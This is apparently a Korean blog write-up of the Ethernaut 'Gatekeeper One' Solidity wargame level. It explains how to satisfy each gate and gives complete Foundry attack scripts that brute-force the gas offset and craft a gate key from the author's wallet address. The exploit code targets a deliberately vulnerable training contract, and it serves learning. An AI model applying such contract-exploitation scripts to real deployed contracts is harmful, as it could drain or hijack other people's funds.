개인적으로 시간을 좀 많이 소비한 문제이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
해당 문제를 풀기 위해선 gate 1,2,3의 조건을 모두 충족해야한다.
1. gateOne()
msg.sender가 tx.origin이 아니면 된다.
telephone문제와 똑같으니 크게 설명은 하지 않겠다.
대충 컨트랙트 새로 파서 msg.sender가 컨트랙트 주소로 되게 하면 된다.
2. gateTwo()
얘가 젤 큰 문제이다.
gas비가 8191배수여야 하는데 솔직히 gas비를 정확하게 만들기는 불가능하다.
gasLeft()는 gaslimit - 현재까지 사용한 gas비 이기 때문에
gasLimit을 늘려가며 브루트포싱으로 때리면 된다.
3. gateThree()
일단 solidity에서 uint는 리틀엔디안 형식처럼 한다는것을 주의하면서 보자.
해당 gateKey를 uint32한 값과 uint16한 값이 같다고 한다.
그러면 하위 2바이트(uint16이 2바이트)는 값이 동일하다는 것이다.
즉 오른쪽부터 2바이트가 동일하다는 것이다.
그러면은, 3바이트~4바이트 위치까지 00으로 채워주면 된다.
그다음 uint32값과 uint64값은 다르다.
즉, 상위 4바이트는 값이 다르다는 것이다. 그러므로 상위 4바이트는 0이 아니여야 한다.
마지막으로 tx.origin값의 uint16이 uint32값과 같다고 한다.
즉, 하위 2바이트가 tx.origin값의 하위 2바이트라는 것이다.
여기서 tx.origin은 내 지갑 주소이므로 내 지갑주소의 하위 2바이트를 갖고오면 된다.
내 경우에 지갑 주소가 0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C 이므로
하위 2바이트는 F22C이다.
최종적으로 상위 4바이트는 0이 아닌값, 그리고 하위 4바이트는 0000F22C로 해주면 된다.
예시) 0x100000000000F22C
해당 정보들을 바탕으로 짠 스크립트는 아래와 같다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/gatekeeper.sol";
contract Attack {
GatekeeperOne public target;
constructor(){
address payable gateAddress = payable(0x2f508b07FB1C3841c2fBa94980102EA95BC6b702);
target = GatekeeperOne(gateAddress);
}
function enter(bytes8 _key, uint256 gasOffset) external returns(bool result){
(bool success, ) = address(target).call{gas: gasOffset + (8191*3)}(abi.encodeWithSignature("enter(bytes8)", _key));
return success;
}
}
contract GatekeeperSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack attacker = new Attack();
for (uint256 gasOffset = 0; gasOffset <= 350; gasOffset++) {
console.log("Trying gas offset: ", gasOffset);
bool success = attacker.enter(0x010000000000F22C, gasOffset);
if(success){
break;
}
}
vm.stopBroadcast();
}
}
원래 처음에는 Attack contract의 enter함수를 다음과 같이 해줬다.
function enter(bytes8 _key, uint256 gasOffset) external returns(bool result){
bool success = target.enter{gas: gasOffset + (8191*3)}(_key);
return success;
}
그러나 이렇게 .enter로 정적 호출을 하면은 실패 시 revert가 발생된다.
즉, gas비가 8191배수가 아니면 revert가 발생되어 실패하게 된다.
따라서 abi를 사용해 저수준 호출을 해주면 실패하여도 false가 반환되기 때문에 매끄럽게 브루트 포싱이 가능하다.
요거 때문에 시간을 좀 많이 썼다.
혹은 abi로 짜는게 귀찮다 하면은 try catch로 해줄수도 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/gatekeeper.sol";
contract Attack {
GatekeeperOne public target;
constructor(){
address payable gateAddress = payable(0xdC0c6cb23F234eb11b6A7a51C7c54792d6f35aB8);
target = GatekeeperOne(gateAddress);
}
// function enter(bytes8 _key, uint256 gasOffset) external returns(bool result){
// (bool success, ) = address(target).call{gas: gasOffset + (8191*3)}(abi.encodeWithSignature("enter(bytes8)", _key));
// return success;
// }
function enter(bytes8 _key, uint256 gasOffset) external returns (bool success) {
try target.enter{gas: gasOffset + (8191 * 3)}(_key) {
return true;
} catch {
return false;
}
}
}
contract GatekeeperSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack attacker = new Attack();
for (uint256 gasOffset = 0; gasOffset <= 350; gasOffset++) {
console.log("Trying gas offset: ", gasOffset);
bool success = attacker.enter(0x010000000000F22C, gasOffset);
if(success){
break;
}
}
vm.stopBroadcast();
}
}
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Naught Coin (0) | 2025.02.02 |
---|---|
[The Ethernaut] Gatekeepr Two (0) | 2025.01.31 |
[The Ethernaut] Privacy (0) | 2025.01.30 |
[The Ethernaut] Elevator (0) | 2025.01.28 |
[The Ethernaut] Re-entrancy (1) | 2025.01.28 |